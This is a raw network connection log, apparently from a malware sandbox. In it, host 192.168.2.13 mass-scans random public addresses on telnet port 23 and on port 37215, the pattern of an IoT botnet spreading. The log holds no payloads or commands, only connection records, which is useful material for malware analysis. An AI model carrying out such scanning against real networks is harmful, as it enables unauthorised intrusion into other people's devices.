Jun 10, 2024 15:37:59.453931093 CEST	23	26049	200.44.186.63	192.168.2.13
Jun 10, 2024 15:37:59.453937054 CEST	26049	23	192.168.2.13	64.241.245.86
Jun 10, 2024 15:37:59.453938007 CEST	26049	23	192.168.2.13	115.4.98.16
Jun 10, 2024 15:37:59.453943014 CEST	23	26049	205.98.238.78	192.168.2.13
Jun 10, 2024 15:37:59.453955889 CEST	23	26049	172.86.156.213	192.168.2.13
Jun 10, 2024 15:37:59.453960896 CEST	26049	23	192.168.2.13	4.118.0.210
Jun 10, 2024 15:37:59.453960896 CEST	26049	23	192.168.2.13	200.44.186.63
Jun 10, 2024 15:37:59.453968048 CEST	23	26049	9.151.191.218	192.168.2.13
Jun 10, 2024 15:37:59.453979969 CEST	26049	23	192.168.2.13	172.86.156.213
Jun 10, 2024 15:37:59.453980923 CEST	26049	23	192.168.2.13	205.98.238.78
Jun 10, 2024 15:37:59.453982115 CEST	23	26049	95.230.90.41	192.168.2.13
Jun 10, 2024 15:37:59.453994036 CEST	23	26049	198.94.59.103	192.168.2.13
Jun 10, 2024 15:37:59.453998089 CEST	26049	23	192.168.2.13	9.151.191.218
Jun 10, 2024 15:37:59.454008102 CEST	23	26049	45.41.0.160	192.168.2.13
Jun 10, 2024 15:37:59.454015017 CEST	26049	23	192.168.2.13	95.230.90.41
Jun 10, 2024 15:37:59.454020977 CEST	23	26049	77.129.128.2	192.168.2.13
Jun 10, 2024 15:37:59.454025984 CEST	26049	23	192.168.2.13	198.94.59.103
Jun 10, 2024 15:37:59.454034090 CEST	23	26049	31.229.142.136	192.168.2.13
Jun 10, 2024 15:37:59.454042912 CEST	26049	23	192.168.2.13	45.41.0.160
Jun 10, 2024 15:37:59.454046965 CEST	23	26049	115.175.127.18	192.168.2.13
Jun 10, 2024 15:37:59.454051971 CEST	26049	23	192.168.2.13	77.129.128.2
Jun 10, 2024 15:37:59.454058886 CEST	23	26049	174.23.122.110	192.168.2.13
Jun 10, 2024 15:37:59.454071045 CEST	23	26049	156.244.168.243	192.168.2.13
Jun 10, 2024 15:37:59.454078913 CEST	26049	23	192.168.2.13	115.175.127.18
Jun 10, 2024 15:37:59.454082966 CEST	23	26049	167.130.182.11	192.168.2.13
Jun 10, 2024 15:37:59.454094887 CEST	23	26049	145.116.70.46	192.168.2.13
Jun 10, 2024 15:37:59.454119921 CEST	23	26049	5.88.25.99	192.168.2.13
Jun 10, 2024 15:37:59.454132080 CEST	23	26049	132.202.220.187	192.168.2.13
Jun 10, 2024 15:37:59.454132080 CEST	26049	23	192.168.2.13	31.229.142.136
Jun 10, 2024 15:37:59.454135895 CEST	26049	23	192.168.2.13	174.23.122.110
Jun 10, 2024 15:37:59.454135895 CEST	26049	23	192.168.2.13	156.244.168.243
Jun 10, 2024 15:37:59.454135895 CEST	26049	23	192.168.2.13	167.130.182.11
Jun 10, 2024 15:37:59.454138994 CEST	26049	23	192.168.2.13	145.116.70.46
Jun 10, 2024 15:37:59.454145908 CEST	23	26049	36.97.186.185	192.168.2.13
Jun 10, 2024 15:37:59.454149961 CEST	26049	23	192.168.2.13	5.88.25.99
Jun 10, 2024 15:37:59.454166889 CEST	26049	23	192.168.2.13	132.202.220.187
Jun 10, 2024 15:37:59.454315901 CEST	26049	23	192.168.2.13	36.97.186.185
Jun 10, 2024 15:37:59.454329014 CEST	23	26049	177.81.145.94	192.168.2.13
Jun 10, 2024 15:37:59.454341888 CEST	23	26049	66.252.135.3	192.168.2.13
Jun 10, 2024 15:37:59.454354048 CEST	23	26049	191.60.248.245	192.168.2.13
Jun 10, 2024 15:37:59.454369068 CEST	26049	23	192.168.2.13	177.81.145.94
Jun 10, 2024 15:37:59.454371929 CEST	26049	23	192.168.2.13	66.252.135.3
Jun 10, 2024 15:37:59.454379082 CEST	23	26049	84.174.11.135	192.168.2.13
Jun 10, 2024 15:37:59.454381943 CEST	26049	23	192.168.2.13	191.60.248.245
Jun 10, 2024 15:37:59.454391956 CEST	23	26049	192.34.206.119	192.168.2.13
Jun 10, 2024 15:37:59.454404116 CEST	23	26049	197.234.251.43	192.168.2.13
Jun 10, 2024 15:37:59.454416037 CEST	23	26049	210.217.111.203	192.168.2.13
Jun 10, 2024 15:37:59.454416990 CEST	26049	23	192.168.2.13	84.174.11.135
Jun 10, 2024 15:37:59.454421997 CEST	26049	23	192.168.2.13	192.34.206.119
Jun 10, 2024 15:37:59.454428911 CEST	23	26049	92.72.115.24	192.168.2.13
Jun 10, 2024 15:37:59.454437017 CEST	26049	23	192.168.2.13	197.234.251.43
Jun 10, 2024 15:37:59.454441071 CEST	23	26049	179.66.31.151	192.168.2.13
Jun 10, 2024 15:37:59.454448938 CEST	26049	23	192.168.2.13	210.217.111.203
Jun 10, 2024 15:37:59.454453945 CEST	23	26049	89.14.9.29	192.168.2.13
Jun 10, 2024 15:37:59.454461098 CEST	26049	23	192.168.2.13	92.72.115.24
Jun 10, 2024 15:37:59.454471111 CEST	23	26049	88.42.55.155	192.168.2.13
Jun 10, 2024 15:37:59.454477072 CEST	26049	23	192.168.2.13	179.66.31.151
Jun 10, 2024 15:37:59.454483032 CEST	23	26049	58.38.97.180	192.168.2.13
Jun 10, 2024 15:37:59.454494953 CEST	23	26049	204.120.74.197	192.168.2.13
Jun 10, 2024 15:37:59.454507113 CEST	23	26049	125.255.171.219	192.168.2.13
Jun 10, 2024 15:37:59.454518080 CEST	26049	23	192.168.2.13	88.42.55.155
Jun 10, 2024 15:37:59.454518080 CEST	26049	23	192.168.2.13	58.38.97.180
Jun 10, 2024 15:37:59.454518080 CEST	23	26049	1.61.216.11	192.168.2.13
Jun 10, 2024 15:37:59.454523087 CEST	26049	23	192.168.2.13	89.14.9.29
Jun 10, 2024 15:37:59.454526901 CEST	26049	23	192.168.2.13	204.120.74.197
Jun 10, 2024 15:37:59.454531908 CEST	23	26049	111.236.32.231	192.168.2.13
Jun 10, 2024 15:37:59.454544067 CEST	23	26049	218.21.1.245	192.168.2.13
Jun 10, 2024 15:37:59.454545975 CEST	26049	23	192.168.2.13	125.255.171.219
Jun 10, 2024 15:37:59.454546928 CEST	26049	23	192.168.2.13	1.61.216.11
Jun 10, 2024 15:37:59.454555988 CEST	23	26049	66.194.98.183	192.168.2.13
Jun 10, 2024 15:37:59.454569101 CEST	23	26049	147.124.132.160	192.168.2.13
Jun 10, 2024 15:37:59.454574108 CEST	26049	23	192.168.2.13	111.236.32.231
Jun 10, 2024 15:37:59.454574108 CEST	26049	23	192.168.2.13	218.21.1.245
Jun 10, 2024 15:37:59.454581976 CEST	23	26049	166.142.218.145	192.168.2.13
Jun 10, 2024 15:37:59.454591036 CEST	26049	23	192.168.2.13	66.194.98.183
Jun 10, 2024 15:37:59.454593897 CEST	23	26049	44.19.173.201	192.168.2.13
Jun 10, 2024 15:37:59.454602003 CEST	26049	23	192.168.2.13	147.124.132.160
Jun 10, 2024 15:37:59.454606056 CEST	23	26049	179.46.169.115	192.168.2.13
Jun 10, 2024 15:37:59.454612970 CEST	26049	23	192.168.2.13	166.142.218.145
Jun 10, 2024 15:37:59.454618931 CEST	23	26049	48.227.139.222	192.168.2.13
Jun 10, 2024 15:37:59.454622030 CEST	26049	23	192.168.2.13	44.19.173.201
Jun 10, 2024 15:37:59.454632044 CEST	23	26049	160.73.102.254	192.168.2.13
Jun 10, 2024 15:37:59.454643965 CEST	23	26049	78.190.63.236	192.168.2.13
Jun 10, 2024 15:37:59.454643965 CEST	26049	23	192.168.2.13	48.227.139.222
Jun 10, 2024 15:37:59.454659939 CEST	23	26049	97.178.227.6	192.168.2.13
Jun 10, 2024 15:37:59.454667091 CEST	26049	23	192.168.2.13	160.73.102.254
Jun 10, 2024 15:37:59.454667091 CEST	26049	23	192.168.2.13	179.46.169.115
Jun 10, 2024 15:37:59.454674959 CEST	23	26049	190.18.18.24	192.168.2.13
Jun 10, 2024 15:37:59.454687119 CEST	23	26049	23.60.61.247	192.168.2.13
Jun 10, 2024 15:37:59.454687119 CEST	26049	23	192.168.2.13	78.190.63.236
Jun 10, 2024 15:37:59.454696894 CEST	26049	23	192.168.2.13	97.178.227.6
Jun 10, 2024 15:37:59.454698086 CEST	23	26049	104.15.210.235	192.168.2.13
Jun 10, 2024 15:37:59.454706907 CEST	26049	23	192.168.2.13	190.18.18.24
Jun 10, 2024 15:37:59.454722881 CEST	23	26049	77.148.57.38	192.168.2.13
Jun 10, 2024 15:37:59.454725981 CEST	26049	23	192.168.2.13	104.15.210.235
Jun 10, 2024 15:37:59.454731941 CEST	26049	23	192.168.2.13	23.60.61.247
Jun 10, 2024 15:37:59.454735994 CEST	23	26049	176.6.223.239	192.168.2.13
Jun 10, 2024 15:37:59.454747915 CEST	23	26049	102.35.183.252	192.168.2.13
Jun 10, 2024 15:37:59.454760075 CEST	26049	23	192.168.2.13	77.148.57.38
Jun 10, 2024 15:37:59.454761028 CEST	23	26049	120.95.67.75	192.168.2.13
Jun 10, 2024 15:37:59.454770088 CEST	26049	23	192.168.2.13	176.6.223.239
Jun 10, 2024 15:37:59.454770088 CEST	26049	23	192.168.2.13	102.35.183.252
Jun 10, 2024 15:37:59.454773903 CEST	23	36376	173.87.116.193	192.168.2.13
Jun 10, 2024 15:37:59.454792023 CEST	26049	23	192.168.2.13	120.95.67.75
Jun 10, 2024 15:37:59.454809904 CEST	36376	23	192.168.2.13	173.87.116.193
Jun 10, 2024 15:37:59.454813004 CEST	55960	23	192.168.2.13	213.79.9.22
Jun 10, 2024 15:37:59.454948902 CEST	23	47256	125.212.207.230	192.168.2.13
Jun 10, 2024 15:37:59.455005884 CEST	47256	23	192.168.2.13	125.212.207.230
Jun 10, 2024 15:37:59.455400944 CEST	23	36598	135.237.201.13	192.168.2.13
Jun 10, 2024 15:37:59.455447912 CEST	36598	23	192.168.2.13	135.237.201.13
Jun 10, 2024 15:37:59.456111908 CEST	23	35654	51.4.201.163	192.168.2.13
Jun 10, 2024 15:37:59.456151009 CEST	35654	23	192.168.2.13	51.4.201.163
Jun 10, 2024 15:37:59.456228971 CEST	57092	23	192.168.2.13	107.185.45.46
Jun 10, 2024 15:37:59.457429886 CEST	38464	23	192.168.2.13	114.149.158.173
Jun 10, 2024 15:37:59.458535910 CEST	33058	23	192.168.2.13	68.161.203.180
Jun 10, 2024 15:37:59.459500074 CEST	23	52168	96.177.106.95	192.168.2.13
Jun 10, 2024 15:37:59.459570885 CEST	52168	23	192.168.2.13	96.177.106.95
Jun 10, 2024 15:37:59.459655046 CEST	60806	23	192.168.2.13	132.215.221.250
Jun 10, 2024 15:37:59.460197926 CEST	23	43594	32.204.162.123	192.168.2.13
Jun 10, 2024 15:37:59.460232973 CEST	43594	23	192.168.2.13	32.204.162.123
Jun 10, 2024 15:37:59.460767984 CEST	23	55960	213.79.9.22	192.168.2.13
Jun 10, 2024 15:37:59.460803986 CEST	55960	23	192.168.2.13	213.79.9.22
Jun 10, 2024 15:37:59.460829973 CEST	39446	23	192.168.2.13	218.209.158.189
Jun 10, 2024 15:37:59.461100101 CEST	23	57092	107.185.45.46	192.168.2.13
Jun 10, 2024 15:37:59.461138010 CEST	57092	23	192.168.2.13	107.185.45.46
Jun 10, 2024 15:37:59.461180925 CEST	30401	37215	192.168.2.13	197.149.113.57
Jun 10, 2024 15:37:59.461205959 CEST	30401	37215	192.168.2.13	41.38.164.93
Jun 10, 2024 15:37:59.461218119 CEST	30401	37215	192.168.2.13	156.231.3.185
Jun 10, 2024 15:37:59.461235046 CEST	30401	37215	192.168.2.13	197.9.107.34
Jun 10, 2024 15:37:59.461241007 CEST	30401	37215	192.168.2.13	41.140.184.247
Jun 10, 2024 15:37:59.461276054 CEST	30401	37215	192.168.2.13	41.204.133.93
Jun 10, 2024 15:37:59.461289883 CEST	30401	37215	192.168.2.13	197.37.79.4
Jun 10, 2024 15:37:59.461289883 CEST	30401	37215	192.168.2.13	41.117.93.142
Jun 10, 2024 15:37:59.461308956 CEST	30401	37215	192.168.2.13	41.186.239.153
Jun 10, 2024 15:37:59.461308956 CEST	30401	37215	192.168.2.13	41.144.136.243
Jun 10, 2024 15:37:59.461309910 CEST	30401	37215	192.168.2.13	197.64.121.194
Jun 10, 2024 15:37:59.461339951 CEST	30401	37215	192.168.2.13	197.255.246.136
Jun 10, 2024 15:37:59.461339951 CEST	30401	37215	192.168.2.13	156.159.10.140
Jun 10, 2024 15:37:59.461361885 CEST	30401	37215	192.168.2.13	156.197.209.223
Jun 10, 2024 15:37:59.461376905 CEST	30401	37215	192.168.2.13	156.32.124.85
Jun 10, 2024 15:37:59.461393118 CEST	30401	37215	192.168.2.13	156.218.214.250
Jun 10, 2024 15:37:59.461409092 CEST	30401	37215	192.168.2.13	41.209.100.187
Jun 10, 2024 15:37:59.461415052 CEST	30401	37215	192.168.2.13	41.109.81.128
Jun 10, 2024 15:37:59.461426973 CEST	30401	37215	192.168.2.13	197.156.129.89
Jun 10, 2024 15:37:59.461441040 CEST	30401	37215	192.168.2.13	41.89.132.28
Jun 10, 2024 15:37:59.461452007 CEST	30401	37215	192.168.2.13	156.29.235.89
Jun 10, 2024 15:37:59.461463928 CEST	30401	37215	192.168.2.13	156.165.201.247
Jun 10, 2024 15:37:59.461472034 CEST	30401	37215	192.168.2.13	156.168.136.24
Jun 10, 2024 15:37:59.461483002 CEST	30401	37215	192.168.2.13	197.218.247.171
Jun 10, 2024 15:37:59.461503983 CEST	30401	37215	192.168.2.13	197.99.205.156
Jun 10, 2024 15:37:59.461510897 CEST	30401	37215	192.168.2.13	156.245.2.205
Jun 10, 2024 15:37:59.461527109 CEST	30401	37215	192.168.2.13	197.226.229.29
Jun 10, 2024 15:37:59.461561918 CEST	30401	37215	192.168.2.13	41.179.145.152
Jun 10, 2024 15:37:59.461569071 CEST	30401	37215	192.168.2.13	41.195.163.183
Jun 10, 2024 15:37:59.461575985 CEST	30401	37215	192.168.2.13	197.50.100.135
Jun 10, 2024 15:37:59.461621046 CEST	30401	37215	192.168.2.13	156.90.232.117
Jun 10, 2024 15:37:59.461643934 CEST	30401	37215	192.168.2.13	156.225.196.18
Jun 10, 2024 15:37:59.461667061 CEST	30401	37215	192.168.2.13	156.15.16.186
Jun 10, 2024 15:37:59.461685896 CEST	30401	37215	192.168.2.13	41.63.241.27
Jun 10, 2024 15:37:59.461694956 CEST	30401	37215	192.168.2.13	156.156.74.74
Jun 10, 2024 15:37:59.461694956 CEST	30401	37215	192.168.2.13	197.244.78.206
Jun 10, 2024 15:37:59.461715937 CEST	30401	37215	192.168.2.13	156.38.108.66
Jun 10, 2024 15:37:59.461723089 CEST	30401	37215	192.168.2.13	197.57.68.100
Jun 10, 2024 15:37:59.461734056 CEST	30401	37215	192.168.2.13	197.67.118.32
Jun 10, 2024 15:37:59.461745977 CEST	30401	37215	192.168.2.13	41.236.7.25
Jun 10, 2024 15:37:59.461745977 CEST	30401	37215	192.168.2.13	156.211.48.76
Jun 10, 2024 15:37:59.461745977 CEST	30401	37215	192.168.2.13	41.45.237.96
Jun 10, 2024 15:37:59.461752892 CEST	30401	37215	192.168.2.13	41.223.243.35
Jun 10, 2024 15:37:59.461765051 CEST	30401	37215	192.168.2.13	41.58.54.58
Jun 10, 2024 15:37:59.461774111 CEST	30401	37215	192.168.2.13	41.186.220.178
Jun 10, 2024 15:37:59.461801052 CEST	30401	37215	192.168.2.13	197.128.25.119
Jun 10, 2024 15:37:59.461806059 CEST	30401	37215	192.168.2.13	156.245.237.250
Jun 10, 2024 15:37:59.461819887 CEST	30401	37215	192.168.2.13	197.57.169.86
Jun 10, 2024 15:37:59.461828947 CEST	30401	37215	192.168.2.13	41.241.121.248
Jun 10, 2024 15:37:59.461833954 CEST	30401	37215	192.168.2.13	156.122.137.98
Jun 10, 2024 15:37:59.461847067 CEST	30401	37215	192.168.2.13	41.194.61.76
Jun 10, 2024 15:37:59.461853981 CEST	30401	37215	192.168.2.13	156.176.31.94
Jun 10, 2024 15:37:59.461867094 CEST	30401	37215	192.168.2.13	156.163.189.151
Jun 10, 2024 15:37:59.461882114 CEST	30401	37215	192.168.2.13	41.253.102.61
Jun 10, 2024 15:37:59.461896896 CEST	30401	37215	192.168.2.13	197.116.197.156
Jun 10, 2024 15:37:59.461910009 CEST	30401	37215	192.168.2.13	156.12.201.188
Jun 10, 2024 15:37:59.461921930 CEST	30401	37215	192.168.2.13	156.19.135.49
Jun 10, 2024 15:37:59.461930037 CEST	30401	37215	192.168.2.13	156.24.110.61
Jun 10, 2024 15:37:59.461945057 CEST	30401	37215	192.168.2.13	41.130.180.46
Jun 10, 2024 15:37:59.461952925 CEST	30401	37215	192.168.2.13	197.167.77.113
Jun 10, 2024 15:37:59.461954117 CEST	30401	37215	192.168.2.13	156.162.243.21
Jun 10, 2024 15:37:59.461970091 CEST	30401	37215	192.168.2.13	197.59.140.99
Jun 10, 2024 15:37:59.461992979 CEST	30401	37215	192.168.2.13	197.238.227.229
Jun 10, 2024 15:37:59.462004900 CEST	30401	37215	192.168.2.13	197.98.178.183
Jun 10, 2024 15:37:59.462012053 CEST	30401	37215	192.168.2.13	156.11.232.27
Jun 10, 2024 15:37:59.462021112 CEST	30401	37215	192.168.2.13	156.253.209.134
Jun 10, 2024 15:37:59.462047100 CEST	30401	37215	192.168.2.13	197.218.185.191
Jun 10, 2024 15:37:59.462054014 CEST	30401	37215	192.168.2.13	41.59.124.13
Jun 10, 2024 15:37:59.462054968 CEST	30401	37215	192.168.2.13	197.211.105.203
Jun 10, 2024 15:37:59.462061882 CEST	30401	37215	192.168.2.13	156.205.120.113
Jun 10, 2024 15:37:59.462073088 CEST	30401	37215	192.168.2.13	41.199.166.65
Jun 10, 2024 15:37:59.462090015 CEST	30401	37215	192.168.2.13	41.169.217.182
Jun 10, 2024 15:37:59.462100983 CEST	30401	37215	192.168.2.13	197.94.187.63
Jun 10, 2024 15:37:59.462101936 CEST	30401	37215	192.168.2.13	197.105.195.56
Jun 10, 2024 15:37:59.462101936 CEST	30401	37215	192.168.2.13	197.235.137.220
Jun 10, 2024 15:37:59.462125063 CEST	30401	37215	192.168.2.13	41.222.149.196
Jun 10, 2024 15:37:59.462129116 CEST	30401	37215	192.168.2.13	156.115.29.3
Jun 10, 2024 15:37:59.462143898 CEST	30401	37215	192.168.2.13	156.230.39.62
Jun 10, 2024 15:37:59.462161064 CEST	30401	37215	192.168.2.13	197.253.99.100
Jun 10, 2024 15:37:59.462172985 CEST	30401	37215	192.168.2.13	156.238.163.110
Jun 10, 2024 15:37:59.462193012 CEST	30401	37215	192.168.2.13	156.179.78.181
Jun 10, 2024 15:37:59.462214947 CEST	30401	37215	192.168.2.13	156.175.16.45
Jun 10, 2024 15:37:59.462228060 CEST	36614	23	192.168.2.13	146.77.88.171
Jun 10, 2024 15:37:59.462240934 CEST	30401	37215	192.168.2.13	197.21.231.68
Jun 10, 2024 15:37:59.462249994 CEST	30401	37215	192.168.2.13	41.205.70.44
Jun 10, 2024 15:37:59.462255955 CEST	23	38464	114.149.158.173	192.168.2.13
Jun 10, 2024 15:37:59.462264061 CEST	30401	37215	192.168.2.13	156.139.95.100
Jun 10, 2024 15:37:59.462264061 CEST	30401	37215	192.168.2.13	41.41.194.38
Jun 10, 2024 15:37:59.462268114 CEST	30401	37215	192.168.2.13	41.102.185.160
Jun 10, 2024 15:37:59.462281942 CEST	30401	37215	192.168.2.13	41.219.156.112
Jun 10, 2024 15:37:59.462308884 CEST	38464	23	192.168.2.13	114.149.158.173
Jun 10, 2024 15:37:59.462308884 CEST	30401	37215	192.168.2.13	41.136.197.138
Jun 10, 2024 15:37:59.462333918 CEST	30401	37215	192.168.2.13	41.249.120.45
Jun 10, 2024 15:37:59.462336063 CEST	30401	37215	192.168.2.13	197.110.124.70
Jun 10, 2024 15:37:59.462352991 CEST	30401	37215	192.168.2.13	197.149.56.214
Jun 10, 2024 15:37:59.462368011 CEST	30401	37215	192.168.2.13	41.30.37.226
Jun 10, 2024 15:37:59.462383986 CEST	30401	37215	192.168.2.13	197.102.66.46
Jun 10, 2024 15:37:59.462383986 CEST	30401	37215	192.168.2.13	197.167.140.76
Jun 10, 2024 15:37:59.462430000 CEST	30401	37215	192.168.2.13	197.171.32.30
Jun 10, 2024 15:37:59.462450981 CEST	30401	37215	192.168.2.13	197.221.255.248
Jun 10, 2024 15:37:59.462461948 CEST	30401	37215	192.168.2.13	156.2.233.90
Jun 10, 2024 15:37:59.462461948 CEST	30401	37215	192.168.2.13	41.75.92.93
Jun 10, 2024 15:37:59.462461948 CEST	30401	37215	192.168.2.13	197.44.169.119
Jun 10, 2024 15:37:59.462461948 CEST	30401	37215	192.168.2.13	197.42.122.158
Jun 10, 2024 15:37:59.462466955 CEST	30401	37215	192.168.2.13	156.156.35.52
Jun 10, 2024 15:37:59.462481976 CEST	30401	37215	192.168.2.13	41.127.29.35
Jun 10, 2024 15:37:59.462505102 CEST	30401	37215	192.168.2.13	41.26.207.228
Jun 10, 2024 15:37:59.462515116 CEST	30401	37215	192.168.2.13	41.9.224.168
Jun 10, 2024 15:37:59.462528944 CEST	30401	37215	192.168.2.13	156.34.170.133
Jun 10, 2024 15:37:59.462531090 CEST	30401	37215	192.168.2.13	156.83.156.2
Jun 10, 2024 15:37:59.462557077 CEST	30401	37215	192.168.2.13	156.250.165.11
Jun 10, 2024 15:37:59.462588072 CEST	30401	37215	192.168.2.13	41.208.101.69
Jun 10, 2024 15:37:59.462599993 CEST	30401	37215	192.168.2.13	197.62.20.172
Jun 10, 2024 15:37:59.462599993 CEST	30401	37215	192.168.2.13	197.206.82.162
Jun 10, 2024 15:37:59.462613106 CEST	30401	37215	192.168.2.13	156.217.241.17
Jun 10, 2024 15:37:59.462621927 CEST	30401	37215	192.168.2.13	41.242.64.11
Jun 10, 2024 15:37:59.462639093 CEST	30401	37215	192.168.2.13	156.43.62.25
Jun 10, 2024 15:37:59.462646008 CEST	30401	37215	192.168.2.13	197.243.98.147
Jun 10, 2024 15:37:59.462660074 CEST	30401	37215	192.168.2.13	156.134.115.58
Jun 10, 2024 15:37:59.462677956 CEST	30401	37215	192.168.2.13	41.225.138.240
Jun 10, 2024 15:37:59.462706089 CEST	30401	37215	192.168.2.13	41.2.20.8
Jun 10, 2024 15:37:59.462726116 CEST	30401	37215	192.168.2.13	197.145.195.51
Jun 10, 2024 15:37:59.462747097 CEST	30401	37215	192.168.2.13	41.246.123.169
Jun 10, 2024 15:37:59.462749958 CEST	30401	37215	192.168.2.13	41.39.101.105
Jun 10, 2024 15:37:59.462749958 CEST	30401	37215	192.168.2.13	41.110.26.159
Jun 10, 2024 15:37:59.462766886 CEST	30401	37215	192.168.2.13	156.208.214.86
Jun 10, 2024 15:37:59.462774992 CEST	30401	37215	192.168.2.13	156.250.200.246
Jun 10, 2024 15:37:59.462788105 CEST	30401	37215	192.168.2.13	41.220.135.254
Jun 10, 2024 15:37:59.462810040 CEST	30401	37215	192.168.2.13	197.220.136.108
Jun 10, 2024 15:37:59.462811947 CEST	30401	37215	192.168.2.13	197.113.66.44
Jun 10, 2024 15:37:59.462825060 CEST	30401	37215	192.168.2.13	41.6.252.117
Jun 10, 2024 15:37:59.462845087 CEST	30401	37215	192.168.2.13	41.21.117.201
Jun 10, 2024 15:37:59.462848902 CEST	30401	37215	192.168.2.13	156.226.26.205
Jun 10, 2024 15:37:59.462855101 CEST	30401	37215	192.168.2.13	41.79.219.224
Jun 10, 2024 15:37:59.462882042 CEST	30401	37215	192.168.2.13	41.186.201.232
Jun 10, 2024 15:37:59.462892056 CEST	30401	37215	192.168.2.13	41.184.176.92
Jun 10, 2024 15:37:59.462903023 CEST	30401	37215	192.168.2.13	197.11.200.238
Jun 10, 2024 15:37:59.462913990 CEST	30401	37215	192.168.2.13	41.62.96.6
Jun 10, 2024 15:37:59.462919950 CEST	30401	37215	192.168.2.13	156.216.138.93
Jun 10, 2024 15:37:59.462932110 CEST	30401	37215	192.168.2.13	197.47.174.199
Jun 10, 2024 15:37:59.462948084 CEST	30401	37215	192.168.2.13	197.75.161.139
Jun 10, 2024 15:37:59.462960005 CEST	30401	37215	192.168.2.13	197.1.253.34
Jun 10, 2024 15:37:59.462971926 CEST	30401	37215	192.168.2.13	41.255.237.62
Jun 10, 2024 15:37:59.462991953 CEST	30401	37215	192.168.2.13	41.215.225.158
Jun 10, 2024 15:37:59.462996960 CEST	30401	37215	192.168.2.13	197.246.240.193
Jun 10, 2024 15:37:59.463027954 CEST	30401	37215	192.168.2.13	197.17.187.161
Jun 10, 2024 15:37:59.463048935 CEST	30401	37215	192.168.2.13	41.89.242.81
Jun 10, 2024 15:37:59.463063002 CEST	30401	37215	192.168.2.13	197.9.78.250
Jun 10, 2024 15:37:59.463063002 CEST	30401	37215	192.168.2.13	197.132.215.10
Jun 10, 2024 15:37:59.463073969 CEST	30401	37215	192.168.2.13	197.184.146.210
Jun 10, 2024 15:37:59.463078976 CEST	30401	37215	192.168.2.13	197.130.105.244
Jun 10, 2024 15:37:59.463093042 CEST	30401	37215	192.168.2.13	197.199.212.19
Jun 10, 2024 15:37:59.463099957 CEST	30401	37215	192.168.2.13	156.225.131.99
Jun 10, 2024 15:37:59.463112116 CEST	30401	37215	192.168.2.13	156.199.231.208
Jun 10, 2024 15:37:59.463123083 CEST	30401	37215	192.168.2.13	41.33.240.142
Jun 10, 2024 15:37:59.463144064 CEST	30401	37215	192.168.2.13	197.199.46.195
Jun 10, 2024 15:37:59.463145018 CEST	30401	37215	192.168.2.13	156.196.251.48
Jun 10, 2024 15:37:59.463160992 CEST	30401	37215	192.168.2.13	197.13.135.98
Jun 10, 2024 15:37:59.463177919 CEST	30401	37215	192.168.2.13	41.203.183.193
Jun 10, 2024 15:37:59.463193893 CEST	30401	37215	192.168.2.13	197.202.166.92
Jun 10, 2024 15:37:59.463208914 CEST	30401	37215	192.168.2.13	197.180.196.61
Jun 10, 2024 15:37:59.463226080 CEST	30401	37215	192.168.2.13	156.178.146.228
Jun 10, 2024 15:37:59.463232994 CEST	30401	37215	192.168.2.13	41.91.24.63
Jun 10, 2024 15:37:59.463253975 CEST	30401	37215	192.168.2.13	197.11.184.139
Jun 10, 2024 15:37:59.463278055 CEST	30401	37215	192.168.2.13	156.98.7.218
Jun 10, 2024 15:37:59.463287115 CEST	30401	37215	192.168.2.13	41.161.142.37
Jun 10, 2024 15:37:59.463314056 CEST	30401	37215	192.168.2.13	41.127.147.43
Jun 10, 2024 15:37:59.463327885 CEST	30401	37215	192.168.2.13	41.250.248.31
Jun 10, 2024 15:37:59.463344097 CEST	30401	37215	192.168.2.13	156.141.255.227
Jun 10, 2024 15:37:59.463346958 CEST	60058	23	192.168.2.13	18.181.89.22
Jun 10, 2024 15:37:59.463356972 CEST	23	33058	68.161.203.180	192.168.2.13
Jun 10, 2024 15:37:59.463371038 CEST	30401	37215	192.168.2.13	156.71.112.138
Jun 10, 2024 15:37:59.463373899 CEST	30401	37215	192.168.2.13	41.150.239.92
Jun 10, 2024 15:37:59.463382006 CEST	30401	37215	192.168.2.13	41.122.223.54
Jun 10, 2024 15:37:59.463393927 CEST	33058	23	192.168.2.13	68.161.203.180
Jun 10, 2024 15:37:59.463421106 CEST	30401	37215	192.168.2.13	41.177.203.192
Jun 10, 2024 15:37:59.463432074 CEST	30401	37215	192.168.2.13	41.132.45.190
Jun 10, 2024 15:37:59.463444948 CEST	30401	37215	192.168.2.13	156.6.49.188
Jun 10, 2024 15:37:59.463450909 CEST	30401	37215	192.168.2.13	197.62.96.54
Jun 10, 2024 15:37:59.463457108 CEST	30401	37215	192.168.2.13	156.43.7.47
Jun 10, 2024 15:37:59.463470936 CEST	30401	37215	192.168.2.13	197.143.115.183
Jun 10, 2024 15:37:59.463478088 CEST	30401	37215	192.168.2.13	197.2.192.34
Jun 10, 2024 15:37:59.463483095 CEST	30401	37215	192.168.2.13	156.58.68.98
Jun 10, 2024 15:37:59.463499069 CEST	30401	37215	192.168.2.13	197.104.71.105
Jun 10, 2024 15:37:59.463514090 CEST	30401	37215	192.168.2.13	156.182.169.40
Jun 10, 2024 15:37:59.463527918 CEST	30401	37215	192.168.2.13	197.224.180.132
Jun 10, 2024 15:37:59.463538885 CEST	30401	37215	192.168.2.13	41.56.135.119
Jun 10, 2024 15:37:59.463538885 CEST	30401	37215	192.168.2.13	41.242.31.92
Jun 10, 2024 15:37:59.463567972 CEST	30401	37215	192.168.2.13	41.61.206.36
Jun 10, 2024 15:37:59.463567972 CEST	30401	37215	192.168.2.13	197.168.50.142
Jun 10, 2024 15:37:59.463584900 CEST	30401	37215	192.168.2.13	41.240.113.150
Jun 10, 2024 15:37:59.463598967 CEST	30401	37215	192.168.2.13	197.50.184.23
Jun 10, 2024 15:37:59.463610888 CEST	30401	37215	192.168.2.13	156.216.202.70
Jun 10, 2024 15:37:59.463625908 CEST	30401	37215	192.168.2.13	197.167.23.140
Jun 10, 2024 15:37:59.463639021 CEST	30401	37215	192.168.2.13	197.7.79.198
Jun 10, 2024 15:37:59.463659048 CEST	30401	37215	192.168.2.13	41.14.134.213
Jun 10, 2024 15:37:59.463680029 CEST	30401	37215	192.168.2.13	197.73.113.32
Jun 10, 2024 15:37:59.463687897 CEST	30401	37215	192.168.2.13	41.65.43.27
Jun 10, 2024 15:37:59.463711977 CEST	30401	37215	192.168.2.13	197.72.226.112
Jun 10, 2024 15:37:59.463726044 CEST	30401	37215	192.168.2.13	197.65.112.200
Jun 10, 2024 15:37:59.463742018 CEST	30401	37215	192.168.2.13	41.216.45.208
Jun 10, 2024 15:37:59.463745117 CEST	30401	37215	192.168.2.13	41.126.198.181
Jun 10, 2024 15:37:59.463764906 CEST	30401	37215	192.168.2.13	156.6.131.199
